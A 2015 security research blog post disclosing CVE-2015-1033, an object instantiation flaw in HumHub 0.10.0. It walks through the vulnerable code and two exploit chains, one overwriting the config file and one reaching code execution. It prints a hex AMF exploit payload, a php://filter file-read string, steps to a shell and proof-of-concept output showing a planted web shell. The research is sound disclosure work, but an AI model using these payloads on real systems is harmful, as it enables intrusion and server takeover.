Work with us
March, 2015
Reading time
20 Minutes
Blog

Overview

PHP Object Instantiation issues in HumHub (CVE-2015-1033)

Introduction

Recently, we audited the source code of the Humhub as part of a larger audit and uncovered some serious vulnerabilities. Apart from the usual suspects like unrestricted file uploads, sql injection and XSS, one vulnerability stood out in particular due to the fact that no reference of public exploits abusing this type of bug could be found.

This blogpost is a copy of a post at our old blog and included here because at the time there was no (public) research into PHP object instantiation issues.

The bug class

For lack of a better name this type of bug was dubbed ‘Arbitrary Object Instantiation’, or simply ‘Object Instantiation’. In essence, this can be seen as a subset of ‘Object Injection’ vulnerabilities. At first glance this might not seem exploitable and since I could not find any public information on how to actually exploit this vulnerability class, i decided to see how far i could get.

This blog post is NOT about unserialize(); calls on user-supplied values, but another class of mistakes developers can make which can lead to a very similar scenario. One of which is Arbitrary Object Instantiation via the new-operator.

Here i will demonstrate exactly why Object Instantiation is an issue by exploiting a user-controlled object instantiation with the PHP new operator in HumHub 0.10.0 to achieve a Denial of Service condition and, finally, how to obtain code execution by abusing readily available classes in the Zend-framework.

Arbitrary Object Instantiation

Let’s take a look at an example of potentially vulnerable code:

1$model = $_GET['model'];
2$object = new $model();
Copy
$model = $_GET['model'];
$object = new $model();

The exploitability of this vulnerability type is totally dependent on the context in which the instantiation happens. If you were to run the above lines of code by itself, nothing can be exploited because there won’t be any objects declared, so there’s nothing to instantiate and thus nothing to re-use / exploit.

With the increasing usage of frameworks like Zend, Yii, Symfony, Laravel and numerous others, this is often no longer the case: the instantiation happens in a controller at a place in the code where we have access to a large collection of (if not all) defined objects in the underlying codebase due to autoloading. Additionally, because of the heavy usage of Object Oriented Programming, developers are more likely to make the mistake of letting the user fully specify the name of an object that needs to be instantiated. As is the case with HumHub.

Humhub

In order to understand the vulnerabilities, we need to take a look at the actionContent() method defined in the PermaController located at /protected/modules_core/wall/controllers/PermaController.php

This controller is invoked when an authenticated user issues an HTTP-request to: domain.of.humhub/index.php?r=wall/perma/content

There are two separate bugs in this code. Let’s remove some irrelevant code and add some comments in order to clear things up:

1public function actionContent() {
2    [...]
3    $model = Yii::app()->request->getParam('model'); /* [1] assign $_GET['model'] to $model */
4
5    // Check given model
6    if (!class_exists($model)) { /* [2] user-supplied value $model passed
7to class_exists triggering autoloaders */
8    throw new CHttpException(404, Yii::t(‘WallModule.controllers_PermaController’, ‘Unknown content class!’));
9    }
10
11    // Load Model and check type
12    $foo = new $model; /* [3] user-supplied value $model is
13instantiated (Arbitrary Object Instantiation) */
14    […]
15}
Copy
public function actionContent() {
    [...]
    $model = Yii::app()->request->getParam('model'); /* [1] assign $_GET['model'] to $model */

    // Check given model
    if (!class_exists($model)) { /* [2] user-supplied value $model passed
to class_exists triggering autoloaders */
    throw new CHttpException(404, Yii::t(‘WallModule.controllers_PermaController’, ‘Unknown content class!’));
    }

    // Load Model and check type
    $foo = new $model; /* [3] user-supplied value $model is
instantiated (Arbitrary Object Instantiation) */
    […]
}

The first vulnerability is a user-supplied[1] value passed to class_exists() [2], this triggers the HumHub defined autoloaders (including the Zend-autoloader) leading to a severely restricted local file inclusion vulnerability. The eventual local file inclusion depends on the autoloader in use, so this has to be assessed on a per-project basis.

For example, a GET-request to: http://domain.of.humhub/index.php?r=wall/perma/content&model=Zend_file_inclusion elicits the following warning: include(/path/to/humhub/protected/vendors/Zend/file/inclusion.php): failed to open stream: No such file or directory

We’re mainly interested in the second vulnerability, the object instantiation [3] based on $model with the PHP new operator. So what can we do with this? As seen above, we can specify an object-name in the GET-parameter model and instantiate our specified object.

Initially, we can only instantiate a single arbitrary object and thus call arbitrary __construct() methods, without any parameters and without setting any properties. Compare that to unserialize() and it doesn’t seem like much at all! The instantiated object is eventually destroyed and this does give us the ability to call arbitrary __destruct() methods. Still, without setting any properties and without passing any arguments, what could we possibly use to exploit this?

Zend_Amf_Request_Http

Fortunately we have a large collection of objects to choose from due to the fact that the Zend and Yii Frameworks are available via autoloading. This includes an object named Zend_Amf_Request_Http which is a particular interesting class to instantiate. Conveniently, the Zend-framework is included in a lot of projects nowadays, so Zend_Amf_Request_Http will often be available. Lets take a look at the Zend_Amf_Request_Http::__construct();

1public function __construct()
2{
3    // php://input allows you to read raw POST data. It is a less memory
4     // intensive alternative to $HTTP_RAW_POST_DATA and does not need any
5     // special php.ini directives
6 $amfRequest = file_get_contents('php://input');
7// Check to make sure that we have data on the input stream.
8    if ($amfRequest != ”) {
9        $this->_rawRequest = $amfRequest;
10        $this->initialize($amfRequest);
11    } else {
12        echo '<p>Zend Amf Endpoint</p>' ; 
13    } 
14}
Copy
public function __construct()
{
    // php://input allows you to read raw POST data. It is a less memory
     // intensive alternative to $HTTP_RAW_POST_DATA and does not need any
     // special php.ini directives
 $amfRequest = file_get_contents('php://input');
// Check to make sure that we have data on the input stream.
    if ($amfRequest != ”) {
        $this->_rawRequest = $amfRequest;
        $this->initialize($amfRequest);
    } else {
        echo '<p>Zend Amf Endpoint</p>' ;
    }
}

As the documentation says: “Attempt to read from php://input to get raw POST request;”. This class tries to read the raw POST-body and then proceeds to pass it on to the method Zend_Amf_Request::initialize();

1/**
2* Prepare the AMF InputStream for parsing.
3*
4* @param string $request
5* @return Zend_Amf_Request
6*/
7public function initialize($request)
8{
9    $this->_inputStream = new Zend_Amf_Parse_InputStream($request);
10    $this->_deserializer = new Zend_Amf_Parse_Amf0_Deserializer($this->_inputStream);
11    $this->readMessage($this->_inputStream);
12    return $this;
13}
Copy
/**
* Prepare the AMF InputStream for parsing.
*
* @param string $request
* @return Zend_Amf_Request
*/
public function initialize($request)
{
    $this->_inputStream = new Zend_Amf_Parse_InputStream($request);
    $this->_deserializer = new Zend_Amf_Parse_Amf0_Deserializer($this->_inputStream);
    $this->readMessage($this->_inputStream);
    return $this;
}

As you can see, initialize() then passes the raw POST-body as an argument to Zend_Amf_Parse_Amf0_Deserializer. From the documentation:

1[...]
2/**
3* Read an AMF0 input stream and convert it into PHP data types
4*
5[...]
6*/
7class Zend_Amf_Parse_Amf0_Deserializer extends Zend_Amf_Parse_Deserializer
8[...]
Copy
[...]
/**
* Read an AMF0 input stream and convert it into PHP data types
*
[...]
*/
class Zend_Amf_Parse_Amf0_Deserializer extends Zend_Amf_Parse_Deserializer
[...]

and eventually Zend_Amf_Request::readMessage(); gets called, starting the process of deserializing the POST-body as a binary AMF-object into PHP objects.

In essence, the AMF-Deserializer is a crippled version of unserialize();. It provides almost the same functionality: we can instantiate an arbitrary number of arbitrary objects and set public properties. The only limitation really is that we can’t set private and/or protected properties.

As seen in the following code from Zend_Amf_Parse_Amf0_Deserializer::readTypedObject():.

1public function readTypedObject()
2{
3    // require_once 'Zend/Amf/Parse/TypeLoader.php';
4    // get the remote class name
5    $className = $this->_stream->readUTF();
6    $loader = Zend_Amf_Parse_TypeLoader::loadType($className);
7    $returnObject = new $loader();
8    $properties = get_object_vars($this->readObject());
9    foreach($properties as $key=>$value) {
10        if($key) {
11            $returnObject->$key = $value;
12        }
13    }
14    if($returnObject instanceof Zend_Amf_Value_Messaging_ArrayCollection) {
15        $returnObject = get_object_vars($returnObject);
16    }
17    return $returnObject;
18}
Copy
public function readTypedObject()
{
    // require_once 'Zend/Amf/Parse/TypeLoader.php';
    // get the remote class name
    $className = $this->_stream->readUTF();
    $loader = Zend_Amf_Parse_TypeLoader::loadType($className);
    $returnObject = new $loader();
    $properties = get_object_vars($this->readObject());
    foreach($properties as $key=>$value) {
        if($key) {
            $returnObject->$key = $value;
        }
    }
    if($returnObject instanceof Zend_Amf_Value_Messaging_ArrayCollection) {
        $returnObject = get_object_vars($returnObject);
    }
    return $returnObject;
}

To summarize: If we can instantiate Zend_Amf_Request_Http at a place that is reachable by a POST-request, we have access to a crippled version of unserialize().

So in the case of HumHub: IF HumHub accepts POST-requests to this vulnerable controller, we can then issue a POST-request to /index.php?r=wall/perma/content&model=Zend_Amf_Request_Http. This will instantiate Zend_Amf_Request_Http to allow us to specify a serialized AMF-object in the POST-body, which will then get deserialized. In turn, giving us the ability to not only instantiate a single arbitrary object via the model-parameter but instantiate more than one object in the same request and, in addition, we have the ability to set properties on these objects.

Turns out, as is often the case with MVC-frameworks, Humhub doesn’t really care if you’re requesting with POST or GET, the only catch is that all POST-requests are checked for a valid CSRF-token. So in order to actually reach Zend_Amf_Request_Http with POST, we have to include a CSRF-token in addition to our serialized (binary) AMF-object. This CSRF-token is compared to whatever value is submitted via the CSRF_TOKEN cookie (if present), which we can obviously also specify ourselves.

Crippled unserialize();

At this point we have expanded our ability from instantiating an arbitrary object to the ability to instantiate multiple arbitrary objects and set arbitrary (public) properties on these objects by crafting a serialized AMF-object and feeding it via HTTP POST to the vulnerable controller.

We can now proceed to look for existing classes and methods that can be abused, similar to how you would exploit an unserialize()-call with user-input. However, remember that we are still restricted to public properties. The usual suspect is ofcourse __destruct(); methods that are influenced by properties on the same class, but i haven’t found any useful destructors in the HumHub codebase (mostly due to the fact that we can’t set private properties, something that is possible with unserialize()).

Luckily for us we have another option: PHP provides additional so called ‘magic methods’ next to __destruct(). One of which is __set(); which gets invoked when an object property is set. If we look at the above code-snippet of readTypedObject() we see that __set(); should be triggered by the following code:

1$properties = get_object_vars($this->readObject());
2foreach($properties as $key=>$value) {
3    if($key) {
4        /* this will trigger __set(); calls if __set() is defined on $returnObject */
5        $returnObject->$key = $value;
6    }
7}
Copy
$properties = get_object_vars($this->readObject());
foreach($properties as $key=>$value) {
    if($key) {
        /* this will trigger __set(); calls if __set() is defined on $returnObject */
        $returnObject->$key = $value;
    }
}

With this in mind, let’s take a look at the __set(); method defined on the CComponent class:

1public function __set($name,$value)
2{
3    $setter='set'.$name;
4    if(method_exists($this,$setter))
5        return $this->$setter($value);
6    
7    [...]
8}
Copy
public function __set($name,$value)
{
    $setter='set'.$name;
    if(method_exists($this,$setter))
        return $this->$setter($value);
    
    [...]
}

If we would assign the value ‘bar’ to a property called ‘foo’ on an object that is an instance of CComponent, the above __set(); method gets invoked with the arguments $name = ‘foo’ and $value = ‘bar’. It then checks if the method ‘set.$name’ exists on the current class and if so, it invokes it with our specified $value. So in short: by setting $object->foo = ‘bar’, the method $object->setFoo(‘bar’); (if it exists) will be invoked.

This obviously opens up a whole new realm of possibilities because there are more than 500 different classes in the Humhub codebase that inherit this method from CComponent. So to wrap it up: we can call any method that starts with ‘set’ by simply setting the according property via the serialized AMF-object.

The only thing left to do now is find classes with interesting methods beginning with ‘set’. Additionally the class must inherit the __set() method from CComponent.

Exploit 1: configfile overwrite (DOS)

One example is the class HSetting which defines the method setConfiguration. Again, luckily, PHP doesn’t care that this is a static method, we can can still call it normally.

1/**
2* Writes a new configuration file array
3*
4* @param type $config
5*/
6public static function setConfiguration($config = array())
7{
8
9    $configFile = Yii::app()->params[‘dynamicConfigFile’];
10
11    $content = "<" . "?php return ";         
12    $content .= var_export($config, true);         
13    $content .= "; ?" . ">";
14
15    file_put_contents($configFile, $content);
16
17    if (function_exists(‘opcache_invalidate’))     {
18        opcache_invalidate($configFile);
19    }
20
21    if (function_exists(‘apc_compile_file’)) {
22        apc_compile_file($configFile);
23    }
24}
Copy
/**
* Writes a new configuration file array
*
* @param type $config
*/
public static function setConfiguration($config = array())
{

    $configFile = Yii::app()->params[‘dynamicConfigFile’];

    $content = "<" . "?php return ";         
    $content .= var_export($config, true);         
    $content .= "; ?" . ">";

    file_put_contents($configFile, $content);

    if (function_exists(‘opcache_invalidate’))     {
        opcache_invalidate($configFile);
    }

    if (function_exists(‘apc_compile_file’)) {
        apc_compile_file($configFile);
    }
}

We can invoke this method by providing the AMF-serialized version of the following object:

1class HSetting {
2    public $Configuration = null;
3}
Copy
class HSetting {
    public $Configuration = null;
}

On deserializing the above stream, setConfiguration(null); will get invoked overwriting the whole local config with null and thus leading to a Denial Of Service. After this payload is inserted, the installer will present itself when visiting the humhub index page allowing for an attacker to specify it’s own configuration.

Exploit 2: local file inclusion (RCE)

Another more interesting method is HMailMessage::setBody(); To make the vulnerable path a little more clear, i’ve removed some irrelevant code:

1public function setBody($body = '', $contentType = null, $charset = null) {
2    if ($this->view !== null) {
3
4    […]
5
6    // Use orginal view name, if not set yet
7    if ($viewPath == “”) {
8        $viewPath = Yii::getPathOfAlias($this->view) . “.php”;
9    }
10    $body = $controller->renderInternal($viewPath, array_merge($body, array(‘mail’ => $this)), true);
11    }
12    return $this->message->setBody($body, $contentType, $charset);
13}
Copy
public function setBody($body = '', $contentType = null, $charset = null) {
    if ($this->view !== null) {

    […]

    // Use orginal view name, if not set yet
    if ($viewPath == “”) {
        $viewPath = Yii::getPathOfAlias($this->view) . “.php”;
    }
    $body = $controller->renderInternal($viewPath, array_merge($body, array(‘mail’ => $this)), true);
    }
    return $this->message->setBody($body, $contentType, $charset);
}

The $view property is public, so we can set it to an arbitrary value and then trigger a call to setBody by setting the $body property. The $view property is used as a path to a template, which gets appended with .php before being passed on to Yii::getPathOfAlias to set the $viewPath variable. This $viewPath-variable is then passed as an argument to $controller->renderInternal(); which is defined in CBaseController::renderInternal();

1public function renderInternal($_viewFile_,$_data_=null,$_return_=false)
2{
3    // we use special variable names here to avoid conflict when extracting data
4    if(is_array($_data_))
5        extract($_data_,EXTR_PREFIX_SAME,'data');
6    else
7        $data=$_data_;
8    if($_return_)
9    {
10        ob_start();
11        ob_implicit_flush(false);
12        require($_viewFile_);
13        return ob_get_clean();
14    }
15    else
16        require($_viewFile_);
17}
Copy
public function renderInternal($_viewFile_,$_data_=null,$_return_=false)
{
    // we use special variable names here to avoid conflict when extracting data
    if(is_array($_data_))
        extract($_data_,EXTR_PREFIX_SAME,'data');
    else
        $data=$_data_;
    if($_return_)
    {
        ob_start();
        ob_implicit_flush(false);
        require($_viewFile_);
        return ob_get_clean();
    }
    else
        require($_viewFile_);
}

$_viewFile is our $viewPath-variable, which gets passed to a require(); yielding us with an atypical local file inclusion vulnerability. We completely control the file that is passed to require, with only a single restriction: the file must have the .php extension.

Because HumHub provides the ability to upload arbitrary files in /uploads/file// with no restrictions on extension by default, we can upload a .php file with some payload we want to execute. This upload functionality can’t be abused to directly gain code execution because /uploads/file/* is protected by an .htaccess file in /uploads/. We can however abuse the above Arbitrary Object Instantiation vulnerability and pass our uploaded file onto require() and get it to execute.

Or, if the server PHP configuration allows it, perform a remote file inclusion by specifying an URL instead of a local path for require();. In addition we could also read arbitrary files if the humhub-installation blocks .php uploads for some reason (local file disclosure) with php://filter/read=convert.base64-encode/resource=protected/config/local/_settings

So the file inclusion exploit looks something like this:

1class HMailMessage {
2    /* the value 'webroot.' gets conveniently replaced with the actual webroot by Yii::getPathOfAlias()*/
3    public $view = 'webroot.'; /* set $view */
4    public $body = ''; /* trigger setBody-call via __set() */
5}
6[...]
7$exploit = new HMailMessage();
8$exploit->view .= "uploads/file/".$uploadedFileGUID."/".substr($uploadedFilename,0,-4);
Copy
class HMailMessage {
    /* the value 'webroot.' gets conveniently replaced with the actual webroot by Yii::getPathOfAlias()*/
    public $view = 'webroot.'; /* set $view */
    public $body = ''; /* trigger setBody-call via __set() */
}
[...]
$exploit = new HMailMessage();
$exploit->view .= "uploads/file/".$uploadedFileGUID."/".substr($uploadedFilename,0,-4);

TL;DR steps to shell:

  1. Authenticate to the humhub system
  2. Upload stage1.php file and retreive it’s GUID
  3. Prepare serialized AMF-object
  4. Trigger vulnerability by POSTing serialized AMF-object to the vulnerable controller
  5. Let stage1.php write a shell to /uploads
  6. Delete stage1.php

Proof-of-Concept

DOWNLOAD POC TODO

1[ HumHub <= 0.10.0 Authenticated Remote Code Execution ]
2
3[+] Logging in to http://humhub.local/ with user: ‘test1’ and password : ‘test1’
4[+] stage 1: uploading PHP-file as ’54ab69feb4a8c.php’
5[+] Uploaded stage 1 succesfully, guid: 5ec8be5a-69e4-414c-82ce-b3208c0a776d, name: 54ab69feb4a8c.php
6[+] preparing payload..
7[+] local file inclusion with ‘webroot.uploads/file/5ec8be5a-69e4-414c-82ce-b3208c0a776d/54ab69feb4a8c.php’
8[+] Payload:
9
1000010000000100036b656b00036875620000020010000c484d61696c4d657373616765000476696577020
11047776562726f6f742e75706c6f6164732f66696c652f35656338626535612d363965342d343134632d38
123263652d6233323038633061373736642f353461623639666562346138630004626f6479020000000009
13
14[+] Triggering vulnerability..
15[+] Deleting stage 1..
16[+] Testing shell:
17
18uname: Linux debian 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux
19whoami: www-data
20cwd: /var/www/humhub/uploads
21
22[+] OK! Shell is available at: http://humhub.local/uploads/shell.php
23[+] Usage: http://humhub.local/uploads/shell.php?q=phpinfo();
Copy
[ HumHub <= 0.10.0 Authenticated Remote Code Execution ]

[+] Logging in to http://humhub.local/ with user: ‘test1’ and password : ‘test1’
[+] stage 1: uploading PHP-file as ’54ab69feb4a8c.php’
[+] Uploaded stage 1 succesfully, guid: 5ec8be5a-69e4-414c-82ce-b3208c0a776d, name: 54ab69feb4a8c.php
[+] preparing payload..
[+] local file inclusion with ‘webroot.uploads/file/5ec8be5a-69e4-414c-82ce-b3208c0a776d/54ab69feb4a8c.php’
[+] Payload:

00010000000100036b656b00036875620000020010000c484d61696c4d657373616765000476696577020
047776562726f6f742e75706c6f6164732f66696c652f35656338626535612d363965342d343134632d38
3263652d6233323038633061373736642f353461623639666562346138630004626f6479020000000009

[+] Triggering vulnerability..
[+] Deleting stage 1..
[+] Testing shell:

uname: Linux debian 3.2.0-4-486 #1 Debian 3.2.63-2+deb7u2 i686 GNU/Linux
whoami: www-data
cwd: /var/www/humhub/uploads

[+] OK! Shell is available at: http://humhub.local/uploads/shell.php
[+] Usage: http://humhub.local/uploads/shell.php?q=phpinfo();

Anatomy of an AMF-serialized object

100 01 /* clientVersion readUnsignedShort(); consumes 2 bytes */
200 00 /* headerCount readInt(); consumes 2 bytes */
3/* readHeader() times headerCount */
400 01 /* bodyCount readInt(); consumes 2 bytes */
5/* readBody() times bodyCount */
6/* targetUri readUTF();
700 03 /* length readInt(); consumes 2 bytes */
86b 65 6b /* targetUri readBytes(length) consumes $length bytes */
9/* responseUri readUTF();
1000 03 /* length readInt(); consumes 2 bytes */
116b 65 6b /* responseUri readBytes(length) consumes $length bytes */
1200 00 02 00 /* objectlength readLong(); consumes 4 bytes */
13/* readTypeMarker() */
1410 /* typeMarker readByte();
15/* 0x10 == Zend_Amf_Constants::AMF0_TYPEDOBJECT */
16/* readTypedObject() */
17/* className readUTF() */
1800 0c /* length readInt(); */
1948 4d 61 69 /* “HMai”
206c 4d 65 73 /* “lMes” className readBytes(length) */
2173 61 67 65 /* “sage”
22/* readObject() */
23/* key readUTF() */
2400 04 /* length readInt() */
2576 69 65 77 /* “view” key readBytes(length) */
2602 /* typeMarker readByte() */
27/* readUTF() */
2800 47 /* length readInt() */
2977 65 62 72 webr
306f 6f 74 2e oot.
3175 70 6c 6f uplo
3261 64 73 2f ads/
3366 69 6c 65 file
342f 35 65 63 /5ec
3538 62 65 35 8be5
3661 2d 36 39 a-69
3765 34 2d 34 e4-4
3831 34 63 2d 14c-
3938 32 63 65 82ce
402d 62 33 32 -b32
4130 38 63 30 08c0
4261 37 37 36 a776
4364 2f 35 34 d/54
4461 62 36 39 ab69
4566 65 62 34 feb4
4661 38 63 a8c
47
4800 04 /* length */
4962 6f 64 79 /* “body” */
50
5102 /* */
5200 00
5300 00
5409 /* object terminator */
Copy
00 01 /* clientVersion readUnsignedShort(); consumes 2 bytes */
00 00 /* headerCount readInt(); consumes 2 bytes */
/* readHeader() times headerCount */
00 01 /* bodyCount readInt(); consumes 2 bytes */
/* readBody() times bodyCount */
/* targetUri readUTF();
00 03 /* length readInt(); consumes 2 bytes */
6b 65 6b /* targetUri readBytes(length) consumes $length bytes */
/* responseUri readUTF();
00 03 /* length readInt(); consumes 2 bytes */
6b 65 6b /* responseUri readBytes(length) consumes $length bytes */
00 00 02 00 /* objectlength readLong(); consumes 4 bytes */
/* readTypeMarker() */
10 /* typeMarker readByte();
/* 0x10 == Zend_Amf_Constants::AMF0_TYPEDOBJECT */
/* readTypedObject() */
/* className readUTF() */
00 0c /* length readInt(); */
48 4d 61 69 /* “HMai”
6c 4d 65 73 /* “lMes” className readBytes(length) */
73 61 67 65 /* “sage”
/* readObject() */
/* key readUTF() */
00 04 /* length readInt() */
76 69 65 77 /* “view” key readBytes(length) */
02 /* typeMarker readByte() */
/* readUTF() */
00 47 /* length readInt() */
77 65 62 72 webr
6f 6f 74 2e oot.
75 70 6c 6f uplo
61 64 73 2f ads/
66 69 6c 65 file
2f 35 65 63 /5ec
38 62 65 35 8be5
61 2d 36 39 a-69
65 34 2d 34 e4-4
31 34 63 2d 14c-
38 32 63 65 82ce
2d 62 33 32 -b32
30 38 63 30 08c0
61 37 37 36 a776
64 2f 35 34 d/54
61 62 36 39 ab69
66 65 62 34 feb4
61 38 63 a8c

00 04 /* length */
62 6f 64 79 /* “body” */

02 /* */
00 00
00 00
09 /* object terminator */